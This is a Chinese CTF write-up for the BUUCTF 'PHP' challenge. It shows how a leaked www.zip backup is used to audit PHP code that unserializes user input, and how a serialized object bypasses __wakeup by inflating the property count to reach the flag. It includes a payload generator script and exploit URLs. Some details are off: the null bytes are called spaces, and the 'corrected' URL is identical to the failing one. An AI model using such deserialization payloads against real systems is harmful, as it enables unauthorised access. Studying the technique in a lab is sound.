1.【BUUCTF】[极客大挑战 2019]PHP(反序列化)
打开题目页面如下
很有趣的前端页面,猫猫会随着球的方向目光跟随,靠近猫猫还会把玩球
看到提示备份网站,但不知道备份文件名,用kali中的dirsearch扫描根目录试试
扫描特定的后缀,命令如下
dirsearch -u http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/ -e bak,zip,rar,tar,old
结果如下
看到有www.zip
构造url
http://b3f2b09d-70f5-4961-934a-0e88cfca3f5d.node5.buuoj.cn:81/www.zip
看到下载完成,打开查看
有如下几个文件
打开flag.php
qyq,果然不可信,没那么简单
打开源码文件index.php
看到里面的php语句,直接开审
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
include 'class.php';
include 是一个文件包含语句
作用是将指定路径下的文件 class.php 的内容包含到当前脚本中
class.php 文件里所定义的函数、类、变量等都能够在当前脚本中使用。
若 class.php 文件不存在或者无法被找到,include 语句会产生一个警告信息(E_WARNING),但脚本会继续执行。
$select = $_GET['select'];
$_GET 是 PHP 中的一个超全局变量,用于接收通过 HTTP GET 请求方法传递过来的参数。
从 URL 的查询字符串里获取名为 select 的参数值,并将其赋值给变量 $select。
$res=unserialize(@$select);
unserialize 函数用于将经过序列化处理的字符串还原为原来的 PHP 数据结构(如数组、对象等)。这里是尝试把 $select 变量的值进行反序列化操作,然后将结果赋值给变量 $res。
@ 是 PHP 中的错误抑制符,作用是抑制 unserialize 函数在执行过程中可能产生的错误信息。
也就是说,即使 $select 的值不是一个有效的序列化字符串,脚本也不会输出错误信息。
再打开class.php文件
<?php
// 包含 flag.php 文件,通常该文件中会定义存储 flag 的变量
include 'flag.php';
// 设置错误报告级别为 0,即关闭所有的错误报告
error_reporting(0);
// 定义一个名为 Name 的类
class Name{
// 定义一个私有属性 $username,初始值为 'nonono'
private $username = 'nonono';
// 定义一个私有属性 $password,初始值为 'yesyes'
private $password = 'yesyes';
// 类的构造函数,当创建 Name 类的对象时会自动调用
// 接收两个参数 $username 和 $password,并将其赋值给类的私有属性
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
// __wakeup 是 PHP 的魔术方法,当使用 unserialize 反序列化对象时会自动调用
// 此方法将 $this->username 的值设置为 'guest'
function __wakeup(){
$this->username = 'guest';
}
// __destruct 是 PHP 的魔术方法,当对象被销毁时会自动调用
function __destruct(){
// 检查 $this->password 是否不等于 100
if ($this->password != 100) {
// 如果不等于 100,输出提示信息表明是黑客行为
echo "</br>NO!!!hacker!!!</br>";
// 输出用户名信息
echo "You name is: ";
echo $this->username;echo "</br>";
// 输出密码信息
echo "You password is: ";
echo $this->password;echo "</br>";
// 终止脚本执行
die();
}
// 检查 $this->username 是否严格等于 'admin'
if ($this->username === 'admin') {
// 使用 global 关键字引入全局变量 $flag
global $flag;
// 输出 $flag 的值,即 flag 内容
echo $flag;
} else {
// 如果 $this->username 不等于 'admin',输出友好提示信息
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
// 终止脚本执行
die();
}
}
}
?>
代码审计
反序列化漏洞:代码直接对用户通过 URL 传递的 select 参数进行反序列化操作,可以构造恶意的序列化数据来绕过 __wakeup 方法和 __destruct 方法中的验证逻辑,从而获取 flag。
__wakeup 绕过漏洞:在 PHP 5.6.25 及之前版本和 PHP 7.0.10 及之前版本中,如果序列化字符串中表示对象属性个数的值大于实际属性个数,__wakeup 方法将不会被调用,提供了绕过 __wakeup 方法中用户名重置的机会。
构造恶意序列化对象
构造一个满足 __destruct 方法中验证条件的序列化对象。
创建一个 Name 类的对象,将 $username 设置为 'admin',$password 设置为 100。
利用 __wakeup 绕过漏洞,构造序列化字符串时让属性个数大于实际属性个数。
构造恶意序列化对象的代码
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$obj = new Name();
$serialized = serialize($obj);
// 绕过 __wakeup,将属性个数修改为大于实际属性个数
$exploit = str_replace('O:4:"Name":2:', 'O:4:"Name":3:', $serialized);
echo $exploit;
?>
可以用下面这个在线工具运行代码
php在线运行,在线工具,在线编译IDE_w3cschool
结果
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
发送恶意请求
将构造好的序列化字符串作为 select
参数的值,通过 URL 发送给目标页面。
http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
服务器在处理该请求时会对 select
参数进行反序列化,由于绕过了 __wakeup
方法,并且满足 __destruct
方法中的验证条件
居然还是没有得到flag
原来需要将空格进行编码%00因为在执行时会减少空格
http://be705cd2-6410-4a44-a8f0-960efb677e1f.node5.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
最后得到flag